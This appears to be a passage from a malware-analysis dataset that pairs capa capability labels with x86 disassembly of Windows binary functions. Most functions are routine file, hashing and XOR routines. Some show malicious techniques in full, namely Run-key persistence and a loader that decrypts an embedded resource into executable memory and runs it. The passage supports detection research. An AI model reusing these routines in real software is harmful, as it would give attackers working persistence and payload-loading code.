joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017536
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10017540
repz ret
jmp fcn.10017fad

Function at 0x1001af3c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100193b8
and dword [ebp - 0x14], 0
cmp dword [0x100322dc], 0
mov dword [ebp - 0x18], eax
jne 0x1001afef
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1001b097
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x1001b097
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x100322dc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x100322e0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x100322e4], eax
call edi
push eax
call esi
mov dword [0x100322ec], eax
test eax, eax
je 0x1001afef
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x100322e8], eax
mov eax, dword [0x100322e8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x1001b048
cmp dword [0x100322ec], ecx
je 0x1001b048
push eax
call esi
push dword [0x100322ec]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x1001b048
test ebx, ebx
je 0x1001b048
call edi
test eax, eax
je 0x1001b03f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1001b03f
test byte [ebp - 8], 1
jne 0x1001b048
or dword [ebp + 0x10], 0x200000
jmp 0x1001b07b
mov eax, dword [0x100322e0]
cmp eax, dword [ebp - 0x18]
je 0x1001b07b
push eax
call esi
test eax, eax
je 0x1001b07b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001b07b
mov eax, dword [0x100322e4]
cmp eax, dword [ebp - 0x18]
je 0x1001b07b
push eax
call esi
test eax, eax
je 0x1001b07b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x100322dc]
call esi
test eax, eax
je 0x1001b097
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1001b099
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10017536
leave
ret
Function at 0x408be0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7000]
push edi
or ebp, 0xffffffff
jmp 0x408c02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x408c09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x408bf8
mov eax, 1
add ebx, ebx
jne 0x408c1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x408c10
jne 0x408c2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x408c10
xor ecx, ecx
sub eax, 3
jb 0x408c40
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408cb2
mov ebp, eax
add ebx, ebx
jne 0x408c4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x408c58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x408c7c
inc ecx
add ebx, ebx
jne 0x408c68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x408c5d
jne 0x408c79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x408c5d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x408c9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x408c8d
jmp 0x408bfe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x408c9c
add edi, ecx
jmp 0x408bfe
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x408cba
cmp byte [edi], 1
jne 0x408cba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x408cbf
lea edi, [esi + 0x6000]
mov eax, dword [edi]
or eax, eax
je 0x408d37
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x90a8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x90e4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x408cec
mov ecx, edi
jns 0x408d1b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x90e8]
or eax, eax
je 0x408d31
mov dword [ebx], eax
add ebx, 4
jmp 0x408d09
call dword [esi + 0x90f8]
mov ebp, dword [esi + 0x90ec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x408d6b
sub esp, 0xffffff80
jmp 0x401250
Function at 0x42b0b0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x208
lea eax, [esp]
push esi
push edi
push 0
push 0x24
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
or ecx, 0xffffffff
lea edi, [esp + 8]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x4065a8
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str._sys
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, 0x4065a8
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x406058
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x4065a8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x406054
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x4065a8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x208
ret
Function at 0x42cd20
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x114
push esi
push edi
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x10]
mov esi, eax
push 0
lea eax, [esp + 0x18]
push 0
push eax
lea ecx, [esp + 0x14]
push 0
push ecx
push edx
mov byte [esp + 0x20], 0x41
mov byte [esp + 0x21], 0x56
mov byte [esp + 0x22], 0x50
mov byte [esp + 0x23], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
pop edi
test esi, esi
pop esi
jne 0x42cdb2
test eax, eax
jne 0x42cdb2
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
add esp, 0x114
ret
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
add esp, 0x114
les edx, [ecx + eax]
add byte [eax], al
ret
Function at 0x42cdd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x23c
push ebx
push ebp
push esi
push edi
mov edi, str.DIALOG
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x14c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14c]
push ecx
push 0x65
push 0
call dword [0x406590]
lea edx, [esp + 0x14c]
mov esi, eax
push edx
push 0x66
push 0
call dword [0x406590]
push esi
push 0
mov edi, eax
call dword [0x406568]
push edi
push 0
mov ebx, eax
call dword [0x406568]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
call ebx
push ebp
mov dword [esp + 0x14], eax
call ebx
push esi
push 0
mov ebp, eax
call dword [0x406594]
push edi
push 0
mov ebx, eax
call dword [0x406594]
mov esi, eax
add esi, ebx
lea eax, [esi + 2]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov cl, byte [0x406020]
mov edi, eax
add esp, 4
xor eax, eax
test esi, esi
jle 0x42ceb3
mov edx, dword [esp + 0x10]
dec ebp
dec edx
mov ebx, eax
and ebx, 0x80000001
jns 0x42ce9b
dec ebx
or ebx, 0xfffffffe
inc ebx
jne 0x42cea4
inc edx
mov bl, cl
xor bl, byte [edx]
jmp 0x42ceaa
mov bl, byte [ebp + 1]
inc ebp
xor bl, cl
mov byte [eax + edi + 2], bl
inc eax
cmp eax, esi
jl 0x42ce8c
test edi, edi
mov byte [edi], 0x4d
mov byte [edi + 1], 0x5a
je 0x42cf53
lea eax, [esp + 0x10]
lea ecx, [esp + 0x6c]
push eax
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x34]
push edx
push eax
push edi
call fcn.0042bfd0
add esp, 0x14
test al, al
je 0x42cf53
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x6c]
push ecx
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x34]
push eax
push ecx
call fcn.0042bc30
add esp, 0x10
mov ebx, eax
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x42cf53
mov edx, dword [esp + 0x10]
push esi
lea eax, [esp + 0x70]
push edx
lea ecx, [esp + 0x1c]
push eax
lea edx, [esp + 0x38]
push ecx
push edx
push edi
call fcn.0042bd40
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x84]
push eax
push ebx
push esi
lea edx, [esp + 0x38]
push ecx
lea eax, [esp + 0x54]
push edx
push eax
call fcn.0042c0c0
add esp, 0x30
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x23c
ret
Function at 0x407003
Capabilities:
Hash data using sha256

Disassembly:
cmp dword [0x452208], 2
jl 0x407044
movaps xmm0, xmmword [0x43b840]
movaps xmmword [0x449030], xmm0
movaps xmm0, xmmword [0x43b830]
movaps xmmword [0x449040], xmm0
movaps xmm0, xmmword [0x43b810]
movaps xmmword [0x449050], xmm0
movaps xmm0, xmmword [0x43b820]
movaps xmmword [0x449060], xmm0
push esi
mov esi, dword [esp + 8]
mov ecx, esi
call fcn.0040740d
xor edx, edx
mov ecx, dword [esi + 0xf4]
mov eax, dword [edx + 0x43b7e8]
mov dword [edx + ecx], eax
add edx, 4
cmp edx, 0x20
jl 0x407052
mov eax, dword [esi + 0xf4]
xor dword [eax], 0x2080020
mov ecx, dword [esi + 0xf4]
mov eax, dword [esp + 0xc]
xor dword [ecx + 8], eax
mov ecx, dword [esi + 0xf4]
mov eax, dword [esp + 0x10]
or eax, 0x2000
shl eax, 0x10
xor dword [ecx + 0xc], eax
pop esi
ret 0xc

Function at 0x407fef
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
test esi, esi
je 0x408019
movzx ecx, byte [edi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x449070]
inc edi
sub esi, 1
jne 0x408001
pop edi
mov eax, edx
pop esi
ret 0xc

Function at 0x4081d3
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x28
mov eax, dword [0x448778]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
mov ebx, dword [esp + 0x34]
push ebp
push esi
push edi
mov edi, dword [esp + 0x3c]
xor ebp, ebp
cmp dword [edi], 2
lea esi, [edi + 4]
jne 0x408234
mov eax, dword [esi]
push ebp
push ebp
push ebp
push ebp
mov dword [esp + 0x20], eax
lea eax, [esp + 0x24]
push eax
push 4
lea eax, [esp + 0x28]
push eax
push 0x20
push ebx
call fcn.004089a7
mov edx, ebp
movzx eax, byte [esp + edx + 0x14]
mov ecx, edx
and ecx, 3
shl ecx, 3
shl eax, cl
xor eax, ebp
inc edx
mov ebp, eax
cmp edx, 0x20
jb 0x408217
mov dword [esi], eax
xor ebp, ebp
cmp dword [edi], 3
jne 0x40825d
push ebp
push ebp
push ebp
push ebp
lea eax, [esp + 0x24]
push eax
push 0x20
push esi
push 0x20
push ebx
call fcn.004089a7
push 0x20
lea eax, [esp + 0x18]
push eax
push esi
call fcn.004263f0
add esp, 0xc
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00424eb4
add esp, 0x28
ret 8
Function at 0x4089a7
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0x1d4
mov eax, dword [0x448778]
xor eax, esp
mov dword [esp + 0x1d0], eax
mov eax, dword [esp + 0x1e0]
mov edx, dword [esp + 0x1f0]
push ebx
mov ebx, dword [esp + 0x1e0]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x1ec]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x1f8]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x1fc]
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
push ebp
mov ebp, dword [esp + 0x1e0]
push esi
push edi
mov edi, dword [esp + 0x1fc]
mov dword [esp + 0x1c], edi
cmp ebx, 0x40
jbe 0x408a53
lea eax, [esp + 0xf8]
push eax
call fcn.00415bd6
push ebx
push ebp
lea eax, [esp + 0x100]
push eax
call fcn.00415c1c
lea eax, [esp + 0x1a0]
push eax
lea eax, [esp + 0xfc]
push eax
call fcn.00415aab
mov edx, dword [esp + 0x10]
lea ebp, [esp + 0x1a0]
push 0x20
pop ebx
test edi, edi
je 0x408a6d
cmp byte [edx], 0
je 0x408a6d
mov esi, edi
lea edi, [esp + 0x28]
push 0x1a
pop ecx
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x1c]
jmp 0x408ad8
xor edx, edx
test ebx, ebx
je 0x408a93
mov esi, ebp
lea eax, [esp + 0x160]
sub esi, eax
lea ecx, [esp + 0x160]
add ecx, edx
mov al, byte [esi + ecx]
xor al, 0x36
inc edx
mov byte [ecx], al
cmp edx, ebx
jb 0x408a7e
cmp ebx, 0x40
jae 0x408ab2
push 0x40
pop eax
sub eax, ebx
lea ecx, [esp + 0x160]
push eax
add ecx, ebx
push 0x36
push ecx
call fcn.00426970
add esp, 0xc
lea eax, [esp + 0x28]
push eax
call fcn.00415bd6
push 0x40
lea eax, [esp + 0x164]
push eax
lea eax, [esp + 0x30]
push eax
call fcn.00415c1c
test edi, edi
je 0x408ae9
mov edx, dword [esp + 0x10]
cmp byte [edx], 0
jne 0x408ae9
push 0x1a
pop ecx
lea esi, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
mov byte [edx], 1
push dword [esp + 0x1f4]
lea eax, [esp + 0x2c]
push dword [esp + 0x24]
push eax
call fcn.00415c1c
lea eax, [esp + 0x1c0]
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.00415aab
mov edi, dword [esp + 0x14]
test edi, edi
je 0x408b35
mov eax, dword [esp + 0x18]
cmp byte [eax], 0
je 0x408b35
mov esi, edi
lea edi, [esp + 0x90]
push 0x1a
pop ecx
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x14]
jmp 0x408ba4
test ebx, ebx
je 0x408b59
lea eax, [esp + 0x160]
sub ebp, eax
xor edx, edx
lea ecx, [esp + 0x160]
add ecx, edx
mov al, byte [ecx + ebp]
xor al, 0x5c
inc edx
mov byte [ecx], al
cmp edx, ebx
jb 0x408b44
cmp ebx, 0x40
jae 0x408b78
push 0x40
pop eax
sub eax, ebx
lea ecx, [esp + 0x160]
push eax
add ecx, ebx
push 0x5c
push ecx
call fcn.00426970
add esp, 0xc
lea eax, [esp + 0x90]
push eax
call fcn.00415bd6
push 0x40
lea eax, [esp + 0x164]
push eax
lea eax, [esp + 0x98]
push eax
call fcn.00415c1c
test edi, edi
je 0x408bb8
mov eax, dword [esp + 0x18]
cmp byte [eax], 0
jne 0x408bb8
push 0x1a
pop ecx
lea esi, [esp + 0x90]
rep movsd dword es:[edi], dword [esi]
mov byte [eax], 1
push 0x20
lea eax, [esp + 0x1c4]
push eax
lea eax, [esp + 0x98]
push eax
call fcn.00415c1c
push dword [esp + 0x24]
lea eax, [esp + 0x94]
push eax
call fcn.00415aab
mov ecx, dword [esp + 0x1e0]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00424eb4
add esp, 0x1d4
ret 0x24
Function at 0x408bfb
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x19c
mov eax, dword [0x448778]
xor eax, esp
mov dword [esp + 0x198], eax
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0x1a8]
push ebx
mov ebx, dword [esp + 0x1b8]
push ebp
mov ebp, dword [esp + 0x1c0]
push esi
mov esi, dword [esp + 0x1b8]
push edi
mov edi, dword [esp + 0x1c0]
push 0x40
mov dword [esp + 0x18], eax
pop eax
cmp esi, eax
jae 0x408c4a
mov eax, esi
push eax
push ecx
lea eax, [esp + 0x14c]
push eax
call fcn.004263f0
add esp, 0xc
cmp esi, 0x44
jae 0x408e1d
xor ecx, ecx
lea eax, [esi + 1]
mov byte [esp + esi + 0x144], cl
cmp eax, 0x44
jae 0x408e1d
mov byte [esp + eax + 0x144], cl
lea eax, [esi + 2]
cmp eax, 0x44
jae 0x408e1d
push ecx
push ecx
push ecx
mov byte [esp + eax + 0x150], cl
lea eax, [esp + 0x110]
push ecx
push eax
lea eax, [esi + 4]
mov byte [esp + esi + 0x15b], 1
push eax
lea eax, [esp + 0x15c]
push eax
push dword [esp + 0x1d0]
push dword [esp + 0x34]
call fcn.004089a7
push 0x20
lea eax, [esp + 0x108]
push eax
lea eax, [esp + 0x12c]
push eax
call fcn.004263f0
mov eax, dword [esp + 0x1d8]
add esp, 0xc
dec eax
mov dword [esp + 0xfc], ebx
mov dword [esp + 0xec], eax
xor esi, esi
mov dword [esp + 0xf8], edi
push 0x10
pop eax
push 0x20
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], eax
mov dword [esp + 0x104], ebp
mov byte [esp + 0x17], 0
mov byte [esp + 0x16], 0
mov dword [esp + 0x1c], esi
pop ebx
mov edi, dword [esp + esi + 0xec]
test edi, edi
je 0x408da1
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x12]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1b]
push eax
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x198]
push eax
push ebx
lea eax, [esp + 0x11c]
push eax
push dword [esp + 0x1d0]
push esi
call fcn.004089a7
push ebx
lea eax, [esp + 0x18c]
push eax
lea eax, [esp + 0x10c]
push eax
call fcn.004263f0
add esp, 0xc
xor ecx, ecx
mov al, byte [esp + ecx + 0x104]
xor byte [esp + ecx + 0x124], al
inc ecx
cmp ecx, ebx
jb 0x408d85
sub edi, 1
jne 0x408d35
mov esi, dword [esp + 0x18]
push ebx
lea eax, [esp + 0x128]
push eax
push dword [esp + esi + 0x100]
call fcn.004263f0
add esi, 4
add esp, 0xc
mov dword [esp + 0x18], esi
cmp esi, 0xc
jb 0x408d26
push 0x44
lea eax, [esp + 0x148]
push eax
call fcn.00414f64
push ebx
lea eax, [esp + 0x128]
push eax
call fcn.00414f64
push ebx
lea eax, [esp + 0x108]
push eax
call fcn.00414f64
push ebx
lea eax, [esp + 0x18c]
push eax
call fcn.00414f64
mov ecx, dword [esp + 0x1a8]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00424eb4
add esp, 0x19c
ret 0x20
call fcn.00425461
int3
Function at 0x40e948
Capabilities:
Write file on windows

Disassembly:
push 0x2c
mov eax, 0x43954d
call fcn.00424f58
mov ebx, ecx
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
test esi, esi
jne 0x40e96a
mov al, 1
jmp 0x40eaa6
cmp dword [ebx + 0x10], 1
lea ecx, [ebx + 8]
mov dword [ebp - 0x34], ecx
jne 0x40e988
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [ebx + 8]
mov dword [ecx], eax
jmp 0x40ea6f
mov dword [ebp - 0x34], ecx
and dword [ebp - 0x30], 0
xor dl, dl
cmp dword [ebx + 0x10], 0
mov byte [ebp - 0x29], dl
je 0x40e9df
xor edi, edi
test esi, esi
je 0x40e9ff
mov eax, esi
mov edx, 0x4000
sub eax, edi
cmp eax, edx
jb 0x40e9af
mov eax, edx
push 0
lea edx, [ebp - 0x30]
push edx
push eax
mov eax, dword [ebp - 0x38]
add eax, edi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
setne dl
mov byte [ebp - 0x29], dl
test eax, eax
je 0x40e9f7
mov ecx, dword [ebp - 0x34]
add edi, 0x4000
cmp edi, esi
jb 0x40e9a0
jmp 0x40e9f7
push 0
lea edx, [ebp - 0x30]
push edx
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
setne dl
mov byte [ebp - 0x29], dl
test dl, dl
jne 0x40ea9f
cmp byte [ebx + 0x1e], 0
je 0x40ea9f
cmp dword [ebx + 0x10], 0
jne 0x40ea9f
push 0
lea edi, [ebx + 0x34]
mov ecx, 0x44b0c8
push edi
call fcn.00409216
test al, al
je 0x40ea77
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x30], esi
jae 0x40e98b
cmp dword [ebp - 0x30], 0
jbe 0x40e98b
mov edi, dword [ebx]
push 0
mov esi, dword [edi + 0x14]
mov ecx, esi
call dword [0x43b27c]
mov ecx, ebx
call esi
sub eax, dword [ebp - 0x30]
mov ecx, dword [edi + 0x10]
sbb edx, 0
push edx
push eax
call dword [0x43b27c]
mov ecx, ebx
call dword [edi + 0x10]
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
jmp 0x40e98b
push 0x43b6c8
lea ecx, [ebp - 0x28]
call fcn.004014a7
and dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push edi
push eax
mov ecx, 0x44b0c8
call fcn.00409639
lea ecx, [ebp - 0x28]
call fcn.00401a66
mov al, byte [ebp - 0x29]
mov byte [ebx + 0xc], 1
call fcn.00424f07
ret 8
Function at 0x40ed1f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0x24
mov eax, 0x438bf1
call fcn.00424f58
mov esi, dword [ebp + 8]
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x40ed38
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40edbc
xor ecx, ecx
mov dword [ebp - 0x14], 7
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x28]
mov dword [ebp - 4], ecx
push eax
push esi
call fcn.0041142b
test al, al
je 0x40ed81
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
jb 0x40ed78
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, eax
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x40edbc
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
cmp eax, 0x1000
jb 0x40edb3
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.004019a9
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
push eax
push ecx
call fcn.00424ea6
pop ecx
pop ecx
mov eax, edi
call fcn.00424f07
ret 4

Function at 0x40efef
Capabilities:
Create directory

Disassembly:
push 0x24
mov eax, 0x438bf1
call fcn.00424f58
mov esi, dword [ebp + 8]
push esi
call fcn.0041116b
movzx eax, ax
cmp eax, 0x2e
je 0x40f031
cmp eax, 0x20
je 0x40f031
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x40f01b
mov eax, dword [esi]
xor edi, edi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, eax
test ebx, ebx
jne 0x40f0d0
jmp 0x40f035
xor edi, edi
mov ebx, edi
push esi
call fcn.0040ed0d
test al, al
jne 0x40f0e3
xor eax, eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x28]
mov dword [ebp - 4], edi
push eax
push esi
call fcn.0041142b
test al, al
je 0x40f07d
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
jb 0x40f073
mov eax, dword [ebp - 0x28]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, eax
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x40f0bc
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
cmp eax, 0x1000
jb 0x40f0b3
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.004019a9
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
push eax
push ecx
call fcn.00424ea6
pop ecx
pop ecx
xor eax, eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
test ebx, ebx
je 0x40f0e3
cmp byte [ebp + 0xc], 0
je 0x40f0df
push dword [ebp + 0x10]
push esi
call fcn.0040f58b
xor eax, eax
jmp 0x40f0fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
push 2
pop eax
cmp ecx, eax
je 0x40f0fb
xor eax, eax
cmp ecx, 3
sete al
inc eax
call fcn.00424f07
ret 0xc
Function at 0x40f58b
Capabilities:
Set file attributes

Disassembly:
push 0x24
mov eax, 0x438bf1
call fcn.00424f58
mov esi, dword [ebp + 8]
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x40f5a4
mov eax, dword [esi]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne bl
test eax, eax
jne 0x40f631
xor ecx, ecx
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x28]
mov dword [ebp - 4], ecx
push eax
push esi
call fcn.0041142b
test al, al
je 0x40f5f6
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
jb 0x40f5e7
mov eax, dword [ebp - 0x28]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne bl
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x40f631
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
cmp eax, 0x1000
jb 0x40f628
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.004019a9
